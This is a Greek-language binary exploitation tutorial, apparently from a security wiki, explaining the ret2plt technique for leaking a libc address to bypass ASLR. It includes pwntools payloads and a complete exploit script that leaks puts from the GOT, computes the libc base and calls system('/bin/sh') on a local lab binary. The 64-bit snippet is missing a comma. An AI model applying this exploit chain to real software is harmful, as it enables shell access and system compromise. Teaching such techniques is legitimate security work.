Ret2plt

Βασικές Πληροφορίες

Ο στόχος αυτής της τεχνικής είναι να διαρρεύσετε μια διεύθυνση από μια συνάρτηση από το PLT για να μπορέσετε να παρακάμψετε το ASLR. Αυτό συμβαίνει επειδή αν, για παράδειγμα, διαρρεύσετε τη διεύθυνση της συνάρτησης puts από την βιβλιοθήκη libc, τότε μπορείτε να υπολογίσετε πού βρίσκεται η βάση της libc και να υπολογίσετε τις μετατοπίσεις για να έχετε πρόσβαση σε άλλες συναρτήσεις όπως η system.

Αυτό μπορεί να γίνει με ένα payload pwntools όπως (από εδώ):

# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)

# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)

Σημειώστε πώς η puts (χρησιμοποιώντας τη διεύθυνση από το PLT) καλείται με τη διεύθυνση του puts που βρίσκεται στο GOT (Global Offset Table). Αυτό συμβαίνει επειδή μέχρι τη στιγμή που η puts εκτυπώνει την καταχώρηση του GOT του puts, αυτή η καταχώρηση θα περιέχει την ακριβή διεύθυνση του puts στη μνήμη.

Επίσης, σημειώστε πώς η διεύθυνση του main χρησιμοποιείται στην εκμετάλλευση, έτσι ώστε όταν η puts ολοκληρώσει την εκτέλεσή της, το δυαδικό αρχείο καλεί ξανά το main αντί να τερματίσει (έτσι η διαρροή διεύθυνσης θα παραμείνει έγκυρη).

Σημειώστε πώς για να λειτουργήσει αυτό, το δυαδικό αρχείο δεν πρέπει να έχει μεταγλωττιστεί με PIE ή πρέπει να έχετε βρει μια διαρροή για να παρακάμψετε το PIE ώστε να γνωρίζετε τη διεύθυνση του PLT, GOT και main. Διαφορετικά, πρέπει πρώτα να παρακάμψετε το PIE.

Μπορείτε να βρείτε ένα πλήρες παράδειγμα αυτής της παράκαμψης εδώ. Αυτή ήταν η τελική εκμετάλλευση από αυτό το παράδειγμα:

from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvline()

payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)

p.sendline(payload)

puts_leak = u32(p.recv(4))
p.recvlines(2)

libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)

p.sendline(payload)

p.interactive()

Άλλα παραδείγματα & Αναφορές

  • 64 bit, ενεργοποιημένο ASLR αλλά χωρίς PIE, το πρώτο βήμα είναι να γεμίσετε ένα υπερχείλιση μέχρι το byte 0x00 του canary για να καλέσετε στη συνέχεια την puts και να το διαρρεύσετε. Με τον canary δημιουργείται ένα ROP gadget για να καλέσετε την puts και να διαρρεύσετε τη διεύθυνση της puts από το GOT και ένα ROP gadget για να καλέσετε system('/bin/sh')

  • 64 bits, ενεργοποιημένο ASLR, χωρίς canary, υπερχείλιση στη στοίβα στη main από μια υπο-συνάρτηση. ROP gadget για να καλέσετε την puts και να διαρρεύσετε τη διεύθυνση της puts από το GOT και στη συνέχεια να καλέσετε ένα one gadget.

Last updated